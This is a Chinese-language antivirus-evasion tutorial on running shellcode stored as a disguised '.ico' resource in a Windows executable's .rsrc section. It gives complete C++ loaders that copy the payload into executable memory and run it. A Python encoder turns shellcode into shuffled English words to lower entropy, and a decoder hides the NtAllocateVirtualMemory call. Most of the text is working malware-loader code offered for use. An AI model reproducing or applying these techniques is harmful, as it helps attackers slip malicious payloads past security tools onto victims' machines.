基础免杀 从.rsrc加载shellcode上线
.rsrc
段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括图标、位图、字符串表、对话框、菜单、版本信息、字体等
具体的shellcode加载方式不在此探讨 在这使用传统的指针执行
WindowsAPI
需要用到如下API
FindResource
获取指定资源的信息块的句柄 传给LoadResource
以获取资源的句柄
LoadResource
获取资源的句柄
LockResource
指向资源第一个字节的指针
SizeofResource
指定资源的大小
具体过程
先添加资源
将shellcode修改扩展名为ico 并导入
资源类型为RCDATA
表示自定义数据
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
从当前进程中查找资源
LPVOID addr = LockResource(hGlobal);
获取地址
size_t len = SizeofResource(NULL, hRsrc);
获取资源大小
.rsrc的内存属性是只读 开一块新内存拷过去
LPVOID buf = VirtualAlloc(NULL, NULL, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(buf, addr, len);
typedef void (*ShellcodeFunc)();
ShellcodeFunc execShellcode = (ShellcodeFunc)buf;
execShellcode();
执行
直接把shellcode弄进去
通过die可以看见此时.rsrc
的熵值极高 达到7.99
解决熵值过高的问题
这里选择讲shellcode转英文单词 从资源文件读取出来之后再解密
import random
import sys
ascii_strings = [
'Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank', 'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book',
'Burn', 'Call', 'Card', 'Care', 'Case', 'Cash', 'Cast', 'City', 'Club', 'Come', 'Cook', 'Cope', 'Cost', 'Damn', 'Dare', 'Date',
'Dead', 'Deal', 'Deep', 'Deny', 'Door', 'Down', 'Draw', 'Drop', 'Duly', 'Duty', 'Earn', 'East', 'Easy', 'Edge', 'Else', 'Even',
'Ever', 'Face', 'Fact', 'Fail', 'Fair', 'Fall', 'Farm', 'Fast', 'Fear', 'Feel', 'File', 'Fill', 'Film', 'Find', 'Fire', 'Firm',
'Fish', 'Flat', 'Food', 'Foot', 'Form', 'Full', 'Fund', 'Gain', 'Game', 'Girl', 'Give', 'Goal', 'Gold', 'Good', 'Grow', 'Hair',
'Half', 'Hall', 'Hand', 'Hang', 'Hard', 'Hate', 'Have', 'Head', 'Hear', 'Help', 'Here', 'Hide', 'High', 'Hold', 'Home', 'Hope',
'Hour', 'Hurt', 'Idea', 'Idly', 'Jack', 'John', 'Join', 'Jump', 'Just', 'Keep', 'Kill', 'Kind', 'King', 'Know', 'Lack', 'Lady',
'Land', 'Last', 'Late', 'Lead', 'Lend', 'Life', 'Lift', 'Like', 'Line', 'Link', 'List', 'Live', 'Long', 'Look', 'Lord', 'Lose',
'Loss', 'Loud', 'Love', 'Make', 'Mark', 'Mary', 'Meet', 'Mind', 'Miss', 'Move', 'Much', 'Must', 'Name', 'Near', 'Need', 'News',
'Nice', 'Note', 'Okay', 'Once', 'Only', 'Open', 'Over', 'Page', 'Pain', 'Pair', 'Park', 'Part', 'Pass', 'Past', 'Path', 'Paul',
'Pick', 'Plan', 'Play', 'Post', 'Pray', 'Pull', 'Push', 'Rain', 'Rate', 'Read', 'Real', 'Rely', 'Rest', 'Ride', 'Ring', 'Rise',
'Risk', 'Road', 'Rock', 'Role', 'Roll', 'Room', 'Rule', 'Sale', 'Save', 'Seat', 'Seek', 'Seem', 'Sell', 'Send', 'Shed', 'Shop',
'Show', 'Shut', 'Side', 'Sign', 'Sing', 'Site', 'Size', 'Skin', 'Slip', 'Slow', 'Solo', 'Soon', 'Sort', 'Star', 'Stay', 'Step',
'Stop', 'Suit', 'Sure', 'Take', 'Talk', 'Task', 'Team', 'Tell', 'Tend', 'Term', 'Test', 'Text', 'That', 'Then', 'This', 'Thus',
'Time', 'Tour', 'Town', 'Tree', 'Turn', 'Type', 'Unit', 'User', 'Vary', 'Very', 'View', 'Vote', 'Wait', 'Wake', 'Walk', 'Wall',
'Want', 'Warn', 'Wash', 'Wear', 'Week', 'When', 'Wide', 'Wife', 'Will', 'Wind', 'Wine', 'Wish', 'Wood', 'Word', 'Work', 'Year'
]
# 多态化 每次table不一样
random.shuffle(ascii_strings)
if len(sys.argv) < 2:
print("Usage: python script.py <input_file>")
sys.exit(1)
with open(sys.argv[1], "rb") as f:
raw = f.read()
encoded = "".join([ascii_strings[x % len(ascii_strings)] + "\x00" for x in raw])
with open("table.ico", "w") as fh:
fh.write('''"{}"'''.format("\", \"".join(ascii_strings)))
with open("shellcode.ico", "w") as fh:
fh.write('''{}'''.format(encoded.replace('"', '\\"')))
#include <Windows.h>
#include <iostream>
#include "resource.h"
#include <vector>
#include <string>
#include <sstream>
#include <unordered_map>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
using namespace std;
vector<string> parse_resource_data(LPVOID addr, size_t len) {
unsigned char* data = reinterpret_cast<unsigned char*>(addr);
vector<string> parsed_strings;
stringstream current_string;
for (size_t i = 0; i < len; ++i) {
if (data[i] == 0x22) { // 双引号ASCII码
if (!current_string.str().empty()) {
parsed_strings.push_back(current_string.str());
current_string.str("");
}
}
else if (data[i] != 0x2c && data[i] != 0x20) {
current_string << static_cast<char>(data[i]);
}
}
return parsed_strings;
}
vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
unordered_map<string, int> indexMap;
for (size_t i = 0; i < table.size(); ++i) {
indexMap[table[i]] = i;
}
vector<unsigned char> shellcode;
string current_string;
unsigned char* data = reinterpret_cast<unsigned char*>(addr);
for (size_t i = 0; i < len; ++i) {
if (data[i] == 0x00) { // 遇到0x00表示一个字符串结束
if (!current_string.empty()) {
auto it = indexMap.find(current_string);
if (it != indexMap.end()) {
// 将对应的索引添加到 shellcode 中
shellcode.push_back(it->second);
}
current_string.clear();
}
}
else {
current_string += static_cast<char>(data[i]);
}
}
return shellcode;
}
int main(){
HRSRC hRsrcTable = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);
HGLOBAL hGlobalTable = LoadResource(NULL, hRsrcTable);
LPVOID addr = LockResource(hGlobalTable);
size_t len = SizeofResource(NULL, hRsrcTable);
vector<string> table = parse_resource_data(addr, len);
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
addr = LockResource(hGlobal);
len = SizeofResource(NULL, hRsrc);
auto shellcode = restoreShellcode(addr, len, table);
LPVOID lpMem = nullptr;
SIZE_T uSize = shellcode.size();
const char str1[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0' };
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), str1);
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpMem, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpMem, shellcode.data(), shellcode.size());
typedef void (*ShellcodeFunc)();
ShellcodeFunc execShellcode = (ShellcodeFunc)lpMem;
execShellcode();
return 0;
}